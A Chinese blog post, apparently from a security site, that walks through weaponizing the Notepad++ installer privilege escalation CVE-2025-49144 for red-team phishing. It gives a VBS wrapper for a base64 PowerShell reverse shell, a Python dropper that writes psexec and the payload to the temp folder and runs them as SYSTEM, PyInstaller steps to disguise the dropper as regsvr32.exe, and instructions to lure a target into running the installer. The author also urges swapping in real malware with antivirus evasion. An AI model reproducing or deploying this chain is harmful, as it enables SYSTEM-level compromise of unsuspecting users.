
上一篇文章中简述了 notepad++ 的提权漏洞CVE-2025-49144 ,有师傅复现的时候遇到点疑问,这里详细写一个钓鱼并提权到 system 的复现过程
前情提要和逆向分析
6月24日看到POC发布者的文章后,立即进行了复现,当时作者是并未在GitHub发布POC,而是引导在谷歌网盘下载(现在已删除,只剩下一共演示视频,文章也被屏蔽)

以下是删除之前在网盘下载的POC,并非开源代码而是exe,来源不明的PE文件不要随便运行

图标是 pyinstaller 打包的默认图标,那他源码是 python 写的,PY的反编译很简单,花了一点点时间逆向出源码如下
- 有一段很大的 base64,他是一个反弹shell的 exe 文件编码后的
- 脚本检测了当前用户的temp目录下是否存在 shell.exe 文件
- 运行 exe 进行反弹 shell

在虚拟机运行后发现果然在temp目录释放了 psexec.exe 和 shell.exe 两个文件,前者是用来获取system会话,后者是木马文件

因此整体思路就明了了
- 1️⃣运行notepad++安装程序
- 2️⃣由于8.8.1版本的漏洞,导致加载了同目录下的 regsvr32.exe 文件
- 3️⃣regsvr32.exe 释放 psexec 和木文件
- 4️⃣psexec获取system会话,并使用system会话拉起木马文件
- 5️⃣最终木马以system权限运行起来
原作者在github发布的漏洞文章,却引导读者去网盘下载POC,运行后隐藏到临时目录,并且现在也删除了原文和网盘,有点微妙
不过对于我们红队钓鱼来说确实是一个不错的范本,下面开始我的正式复现
详细复现
准备好木文件
我这里以简单的反弹shell为例(实战中换成自己的木并做好免杀),在revshells.com生成一个 powershell base64 的反弹命令

反弹命令添加到如下vbs脚本中,这样处理运行时可以隐藏黑色命令行窗口
Set WshShell = CreateObject("WScript.Shell")WshShell.Run "powershell -e JABjAGwAa......ADpAA==", 0
base64 编码
把这个vbs脚本和psexec.exe两个文件分别base64编码,这里直接在kali中完成即可,-w 0 参数禁止换行

修改 EXP
然后把这两段base64复制到如下python脚本中的两个变量中
import base64import osimport tempfileimport subprocessimport sys# base64编码后的exe文件psexec_base64 = "TVqQAA/+lDlzEJgLTf......G74JycgAA"revshell_base64 = "U2V0IFdzaFNoZWxs......iLCAw"defprint_banner():print(""" ┌──────────────────────────────────────┐ │ 微信公众号 · 红队安全圈 │ └──────────────────────────────────────┘ """)# 执行命令,禁止出现黑色弹窗defrun_hidden(command):if sys.platform == 'win32':''' 由于安全原因,请在公众号后台回复 CVE-2025-49144 获取完整python脚本 '''else: subprocess.run(command, shell=False)# 解码并输出到用户temp目录defrestore_exe(exe_base64,outname): temp_dir = tempfile.gettempdir() exe_path = os.path.join(temp_dir, outname)try: exe_data = base64.b64decode(exe_base64)withopen(exe_path, 'wb') as f: f.write(exe_data)#print(f"restore file to: {os.path.abspath(exe_path)}")returnTrueexcept Exception as e:#print(f"restore error: {e}")returnFalseif __name__ == '__main__':# 将base64编码的exe文件还原并释放到tmep restore_exe(psexec_base64,outname='psexec.exe') restore_exe(revshell_base64,outname='revshell.vbs')# psexec 调起 system 权限的 wscript 执行 vbs 脚本 run_hidden([ os.path.join(tempfile.gettempdir(), 'psexec.exe'),'-i', '-s', '-d','wscript.exe', os.path.join(tempfile.gettempdir(), 'revshell.vbs'),'-accepteula' ])
打包成 exe
最后把python脚本打包,并命名为 regsvr32.exe,记得要加上**-w**参数隐藏控制台
pyinstaller -F 1.py -w -n regsvr32.exe

社工钓鱼上线 system
最后把 regsvr32.exe 和 notepad++安装包放在同一个目录,攻击机开启监听,引导目标下载并执行安装程序,即可弹回system权限的shell

本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf
客服小蜜蜂(微信:freebee1024)



